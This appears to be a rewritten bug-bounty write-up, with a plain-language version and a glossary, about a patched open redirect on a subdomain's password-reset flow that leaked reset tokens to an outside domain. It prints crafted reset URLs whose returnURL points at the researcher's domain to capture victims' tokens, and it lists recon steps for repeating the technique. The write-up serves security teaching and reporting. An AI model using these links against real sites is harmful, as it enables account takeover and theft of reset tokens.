From Wayback Machine To Account Takeover
A patched open redirect on a password reset endpoint could be bypassed, and when a logged-in user opened the reset link, the password reset token was leaked to the attacker's domain. An attacker could take over accounts by stealing reset tokens.
How a patched open redirect, the Wayback Machine, and a logged-in session chained into account takeover.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was an e-commerce site that had already been tested heavily and sat behind Cloudflare. Injection attacks were difficult to land, but the subdomains were in scope. Most of them returned 403, and the rest were static FAQ pages or empty. A few CSRF and open redirect findings on the main domain had all come back as duplicates.
The feature at the centre of this write-up is the password reset flow. Normally you request a reset, receive an email containing a link to newPassword with a token, open it, and set a new password. The flow also carries a returnURL parameter, which is what made the chain possible.
Setup
The work started from an existing open redirect report on the main domain that had been marked resolved. The vulnerable parameter was returnURL. The subdomains were in scope, so they were fair game for hunting the same parameter. The tools used were the Wayback Machine, Google dorks, gau, and a fresh endpoint on hookbin to receive redirects. Screen recording was used to capture the bug before submission.
One precondition matters more than any tool: the victim has to be logged into their account in the same browser when they open the reset link. Everyone who tried to reproduce the issue, including the triager and the program owner, missed this at first.
Finding it
When an open redirect or an XSS lives in a GET parameter, the researcher follows three habits:
- Spray that parameter across other endpoints of the application.
- Check the Wayback Machine for old URLs that use the same or a similar parameter.
- Run Google dorks to find the same parameter on another endpoint.
The Wayback Machine turned up nothing new for returnURL. Since the subdomains were in scope, the next step was hunting for the same parameter across them with gau, which produced a hit:
subdomain hithttps://sub.target.com/register?returnURL=
Opening that URL returned a "path not found" error. Recon has more doors than the Wayback Machine: dorking, then GitHub and Pastebin, and if all of that fails, brute forcing.
Google dorks on the subdomain turned up plenty of endpoints carrying the same parameter. The one that worked was the reset-password flow:
reset endpointhttps://sub.target.com/resetPassword?returnURL=
Requesting a reset there sends an email with a link like this, which resets the password normally:
reset email linkhttps://sub.target.com/newPassword?token=xyz&returnURL=
If you are already logged in and open that link, it redirects you to the home page. Changing returnURL sent the browser wherever the researcher wanted, which is a fresh open redirect on a patched parameter:
open redirecthttps://sub.target.com/newPassword?token=xyz&returnURL=//google.com
Exploitation
Step 1: Notice the token in the logs
While screen-recording the bug before submitting, the researcher set returnURL to their own domain. The link redirected there as expected. Checking the server logs afterwards, the password reset tokens were sitting right there. It was not clear how they got there. A second attempt, redirected to the same domain, produced no tokens. Opening the link a hundred more times produced nothing either.
Step 2: Change the domain
The explanation was that the site only leaks the token once per domain. A fresh endpoint was spun up on hookbin, dropped into returnURL, and a reset was requested. Opening the link put the password reset token in the logs. It worked.
Step 3: Build the attack scenario
The final scenario, as demonstrated to the program owner:
- Request a password reset for the target using the altered link:
https://sub.target.com/resetPassword?returnURL=//r29k.com - The target receives a reset link:
https://sub.target.com/newPassword?token=xyz&returnURL=//r29k.com - They open it in the same browser where they are already logged in.
- They are redirected to r29k.com, which the researcher controls, and the password reset token lands in the server logs.
Step 4: Get it reproduced
The first report was clean, and the triager could not reproduce it. A second video PoC walking through every step got it reproduced, and it went to the program owner, who also failed at first. The missing step was being logged into the account when opening the reset link. The program owner asked the researcher to leak his own token, and the researcher showed him his own tokens. The report was triaged P2 and earned an 800 USD bounty.
Root cause
The returnURL parameter on the newPassword endpoint accepted an arbitrary destination, so the application redirected to an attacker-controlled origin after processing the reset link. The redirect itself is a classic open redirect. The token leak is the more interesting part: the reset token was being sent to the redirect destination, apparently once per domain. The report does not describe the server-side mechanism, so the exact reason the token is included in the redirect is not stated. The patch on the main domain's returnURL did not stop the same parameter on the subdomain's reset flow, which is why the chain started from a report marked fixed.
Impact
An attacker who can get a logged-in victim to open a crafted reset link receives that victim's password reset token on a server they control, and can then take over the account. The conditions are specific: the victim must be logged in when they open the link, and the attacker needs a domain that has not already been used to receive a token, since the leak happens only once per domain. The report does not state how the attacker would deliver the link to the victim.
Fix
The obvious change is to validate returnURL on the newPassword endpoint, for example by restricting it to relative paths or an allowlist of trusted origins, and to stop sending the reset token to the redirect destination at all. The same parameter on the subdomain's reset flow also needs validating.
Variants to test
- Spray a patched parameter such as
returnURLacross other endpoints and subdomains. A positive result is the same parameter accepted on an endpoint that was not covered by the original fix. - Search the Wayback Machine and run Google dorks for the parameter. A positive result is an old or indexed URL that still carries it.
- Run
gauagainst in-scope subdomains. A positive result is a URL with the parameter on a host you had not tested. - Test the reset flow with
returnURLpointing at a domain you control. A positive result is a redirect to your domain, and ideally a token in your logs. - When a token appears once and then stops, try a fresh domain or endpoint. A positive result is the token reappearing, which confirms a per-domain limit rather than a fluke.
- Reproduce with a logged-in session. A positive result is the token leaking only when the victim is authenticated, which is the condition that trips up most triagers.
What happened, in plain words
A security researcher found a way to take over someone's account on an online shop. The trick was a password reset link that could be bent to send the victim's secret reset code to a server the researcher controlled. Once you have that code, you can set a new password on the victim's account and lock them out.
The chain started from an old bug that had already been reported and marked as fixed. The researcher went back to check the fix, could not break it on the main site, but found the same weakness on a subdomain. A subdomain is a smaller site that belongs to the same company, like shop.example.com next to example.com. The company had said subdomains were in scope, meaning they were allowed to be tested.
To find the subdomain weakness, the researcher used the Wayback Machine, a free service that keeps old copies of web pages. It is like a library of the internet's past. That, plus a few Google searches, turned a duplicate report into a full account takeover worth 800 USD.
Before we go further, a few words you will see everywhere below.
- A URL is a web address, the thing you type in the browser bar.
- A parameter is a small piece of information attached to a URL after a question mark, like
?colour=red. The site reads it and changes what it does. - An endpoint is a specific address on a site that does one job, for example the page that handles password resets.
- A token is a long random string that acts like a temporary key. In a password reset, the token proves you are allowed to set a new password, because only the person who received the email should have it.
- An open redirect is a bug where a site will send your browser to any address you put in a parameter. It is like a receptionist who will forward your call to any number a stranger gives them, without checking.
- Account takeover means an attacker gets control of someone else's account.
The target
The program was an e-commerce site. It had already been tested a lot and sat behind Cloudflare, a service that filters and protects web traffic. Because of that, injection attacks were hard to land. An injection attack is when you try to sneak commands into a site through its input fields, hoping the site runs them by mistake.
The subdomains were in scope. Most of them returned 403, which is the HTTP status code for "forbidden", meaning the server refused to show the page. The rest were static FAQ pages or empty. A static page is one that always shows the same content and does not process anything you send it.
The researcher had already found a few CSRF and open redirect issues on the main domain, but they all came back as duplicates. A duplicate means someone else had reported the same bug first, so it did not count as a new finding. CSRF, short for Cross-Site Request Forgery, is a bug where another website tricks your browser into sending a request to a site you are logged into, using your existing login.
The feature at the centre of this story is the password reset flow. Normally it works like this: you click "forgot password", the site emails you a link, you open the link, and you type a new password. The link contains a token so the site knows the request is really yours. This flow also carried a returnURL parameter, which tells the site where to send you after the reset. That small convenience is what made the whole chain possible.
Retesting the patch
One day the researcher got an email saying the open redirect report was resolved, meaning fixed. That is an invitation to try again: when a bug is patched, you test whether the patch actually holds. The researcher tried and could not bypass it on the main domain.
When an open redirect or an XSS lives in a GET parameter, the researcher follows three habits. XSS, short for Cross-Site Scripting, is a bug where an attacker gets their own code to run in someone else's browser. A GET parameter is simply a parameter that travels in the URL, the part after the question mark.
- Spray that parameter across other endpoints of the application. In plain words, try the same parameter name on lots of other pages, because developers often reuse the same code.
- Check the Wayback Machine for old URLs that use the same or a similar parameter. Old pages sometimes still exist on the live site even if they are no longer linked anywhere.
- Run Google dorks to find the same parameter on another endpoint. A Google dork is a search query with special operators that narrow results down to a specific pattern, for example pages that contain a particular parameter name.
The vulnerable parameter was returnURL. The researcher started with the Wayback Machine looking for new URLs carrying it, but nothing turned up. Since the subdomains were in scope, the next step was hunting for the same parameter across them using gau. gau stands for "get all URLs". It is a command-line tool that collects known URLs for a domain from public sources, so you can see pages you might never have found by clicking around. It produced a hit:
subdomain hithttps://sub.target.com/register?returnURL=
This line is the tool's output. The label subdomain hit is just a note saying what was found, and the address after it is the page: a registration page on a subdomain, with an empty returnURL parameter at the end. The address is a registration page on a subdomain, with an empty returnURL parameter at the end.
Opening that URL returned a "path not found" error. The page existed in old records but no longer worked. Recon has more doors than the Wayback Machine: dorking, then GitHub and Pastebin, and if all of that fails, brute forcing. Recon, short for reconnaissance, means gathering information about a target before attacking. GitHub and Pastebin are public places where people sometimes paste code or URLs, which can reveal forgotten endpoints. Brute forcing means trying many guesses automatically, for example a long list of common page names.
Google dorks on the subdomain turned up plenty of endpoints carrying the same parameter. The one that worked was the reset-password flow:
reset endpointhttps://sub.target.com/resetPassword?returnURL=
Again, the first part is a label describing what was found, and the address is the page that handles password reset requests on the subdomain. The returnURL parameter is there, empty, waiting to be filled in. This is the important find: the same parameter appears on the subdomain's reset-password endpoint.
Requesting a reset there sends an email with a link like this, which resets the password normally:
reset email linkhttps://sub.target.com/newPassword?token=xyz&returnURL=
The label says this is the link from the reset email. The address points to the newPassword page. It carries two parameters joined by &: token=xyz, the secret code that proves the request is yours, and returnURL=, the place to go afterwards. In a real email the xyz would be a long random string, not the literal letters shown here.
If you are already logged in and open that link, it redirects you to the home page. Changing returnURL sent the browser wherever the researcher wanted, which is a fresh open redirect on a patched parameter:
open redirecthttps://sub.target.com/newPassword?token=xyz&returnURL=//google.com
The label says this is the open redirect. The address is the same reset link, but returnURL now holds //google.com. The double slash is a shorthand that browsers read as "go to google.com over the normal web protocol". Because the site did not check the value, it obeyed and sent the browser to Google instead of the home page. That proves the parameter is unvalidated on this endpoint.
The part I didn't expect
The researcher always screen-records a bug before submitting it, so there is proof of what happened. While recording, they set returnURL to their own domain and the link redirected there, as expected. Their own domain means a website they control, so they can read its logs. A server log is a file the web server writes, listing every request it received.
What they did not expect: checking the server logs, the password reset tokens were sitting right there. The token, the secret code from the email, had been sent to the researcher's server as part of the redirect. They had no idea how it got there. They stopped recording and tried again, redirected to the same domain, but no tokens this time. They opened the link a hundred more times and got nothing. They kept asking how the tokens had landed in the logs on the very first try.
Then it clicked: try a different domain. They spun up a fresh endpoint on hookbin, dropped it into returnURL, and requested a reset. Hookbin is a free service that gives you a temporary web address and shows you every request that arrives at it, which is perfect for catching something a browser sends. They opened the link, and the password reset token landed in the logs. It worked. The catch was that the site only leaks the token once per domain.
That last point is the key to the mystery. The catch was that the site only leaks the token once per domain, so a fresh domain was needed to see it again.
Proving it
The researcher submitted a clean report. As usual, the triager could not reproduce it. A triager is the person who first checks a bug report and decides whether it is real before passing it to the company. They sent a second video PoC walking through every step. PoC stands for proof of concept, a demonstration that the bug really works. The triager reproduced it, and it went to the program owner, who also failed at first.
The step everyone kept missing: you have to be logged into your account when you open the reset link. That is why the first attempts by other people failed.
The program owner asked the researcher to leak his own token, so here is the final attack scenario:
- Request a password reset for the target using the altered link:
https://sub.target.com/resetPassword?returnURL=//r29k.com - The target receives a reset link:
https://sub.target.com/newPassword?token=xyz&returnURL=//r29k.com - They open it in the same browser where they are already logged in.
- They are redirected to r29k.com, which the researcher controls, and the password reset token lands in the server logs.
Step 1 is the attacker's action: a reset is requested using the altered link, with returnURL pointing at the attacker's site. Step 2 is what the victim receives by email: a normal-looking reset link, except the returnURL still points at the attacker. Step 3 is the victim's action, and the logged-in part is essential. Step 4 is the payoff: the browser goes to the attacker's site, and the secret token arrives there too, where the attacker can read it in the logs. With that token, the attacker holds the secret needed to reset the victim's password.
The researcher showed the program owner his own tokens. The report was triaged P2 and earned an 800 USD bounty. P2 is a severity rating on the program's scale, roughly "high but not the most critical".
Why it worked
The returnURL parameter on the newPassword endpoint was not validated, so the application redirected to an attacker-controlled origin after processing the reset link. The redirect itself is a classic open redirect. The token leak is the more interesting part: the reset token was being sent to the redirect destination, apparently once per domain. The report does not describe the server-side mechanism, so the exact reason the token is included in the redirect is not stated.
The existing defence, the patch on the main domain's returnURL, did not cover the same parameter on the subdomain's reset flow. That is why the chain started from a report marked fixed. A patch applied in one place does not automatically protect every other place that uses the same idea.
What an attacker could do
An attacker who can get a logged-in victim to open a crafted reset link receives that victim's password reset token on a server they control, and can then take over the account. The conditions are specific: the victim must be logged in when they open the link, and the attacker needs a domain that has not already been used to receive a token, since the leak happens only once per domain. The report does not state how the attacker would deliver the link to the victim.
How to fix it
The obvious change is to validate returnURL on the newPassword endpoint, for example by restricting it to relative paths or an allowlist of trusted origins, and to stop sending the reset token to the redirect destination at all. A relative path is an address inside the same site, like /home, which cannot point anywhere else. An allowlist is a fixed list of addresses the site is allowed to redirect to. The patch on the main domain should have been applied to the same parameter on the subdomain.
Things to try yourself
- Spray a patched parameter such as
returnURLacross other endpoints and subdomains. A positive result is the same parameter accepted on an endpoint that was not covered by the original fix. - Search the Wayback Machine and run Google dorks for the parameter. A positive result is an old or indexed URL that still carries it.
- Run
gauagainst in-scope subdomains. A positive result is a URL with the parameter on a host you had not tested. - Test the reset flow with
returnURLpointing at a domain you control. A positive result is a redirect to your domain, and ideally a token in your logs. - When a token appears once and then stops, try a fresh domain or endpoint. A positive result is the token reappearing, which confirms a per-domain limit rather than a fluke.
- Reproduce with a logged-in session. A positive result is the token leaking only when the victim is authenticated, which is the condition that trips up most triagers.
Takeaway
Two lessons here. Retest your patches, because this whole chain started from a report that was marked fixed. And do not underestimate recon: the Wayback Machine and a handful of dorks turned a duplicate open redirect into a full account takeover.
Glossary
- Account takeover: an attack where someone else gains control of your account, usually by getting your password or a reset token.
- Allowlist: a fixed list of values that are explicitly permitted, such as trusted websites a site may redirect to.
- Brute forcing: trying many guesses automatically until one works.
- Cloudflare: a service that sits in front of a website to filter and protect its traffic.
- CSRF (Cross-Site Request Forgery): a bug where another site tricks your browser into sending a request to a site you are logged into.
- Duplicate: a bug report that matches one already submitted, so it does not count as a new finding.
- Endpoint: a specific address on a website that performs one job, such as handling password resets.
- GET parameter: a value attached to a URL after a question mark, sent to the server as part of the address.
- Google dork: a search query using special operators to find pages matching a specific pattern.
- Hookbin: a free service that gives you a temporary web address and records every request sent to it.
- Injection attack: an attempt to sneak commands into a site through its input, hoping the site runs them by mistake.
- Open redirect: a bug where a site sends your browser to any address supplied in a parameter, without checking it.
- Parameter: a named value in a URL, like
returnURL, that the site reads and acts on. - Patch: a fix applied to software to close a bug.
- P2: a severity rating on a bug bounty program's scale, roughly high but not the most critical.
- PoC (proof of concept): a demonstration that a bug really works, often a video or a set of steps.
- Recon (reconnaissance): gathering information about a target before attacking.
- Relative path: an address inside the same site, like
/home, which cannot point to another site. - Scope: the set of systems a bug bounty program allows you to test.
- Screen recording: capturing your screen as video, used here as evidence of a bug.
- Server log: a file a web server writes listing every request it received.
- Static page: a page that always shows the same content and does not process input.
- Subdomain: a smaller site under the same company, like
shop.example.comnext toexample.com. - Token: a long random string that acts as a temporary key, here proving you may set a new password.
- Triager: the person who first checks a bug report and decides whether it is real.
- URL: a web address.
- Wayback Machine: a free service that keeps old copies of web pages.
- XSS (Cross-Site Scripting): a bug where an attacker gets their own code to run in someone else's browser.
- 403: the HTTP status code for "forbidden", meaning the server refused to show the page.
gau: a command-line tool that collects known URLs for a domain from public sources.